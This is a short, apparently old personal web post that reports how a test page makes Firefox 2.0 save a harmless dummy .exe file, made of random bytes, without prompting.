// When you visit that page, you get to a page like this:

http://jon.limedaley.com/misc/spam/test.txt

which automatically(!) downloads an executable!  It doesn't run it
automatically, but it does save it without asking.  Fortunately, IE7
doesn't automatically do it, but Firefox 2.0 does.  I'll need to
figure out why Firefox isn't checking with me first.

Note that the "executable" in my example isn't executable at all, it
is the output of "cat /dev/urandom > text.exe", so unless you are
really unlucky, it can't possibly do anything.

For those of you who think it wouldn't work, visit
http://jon.limedaley.com/misc/spam/test.txt to see how it works.
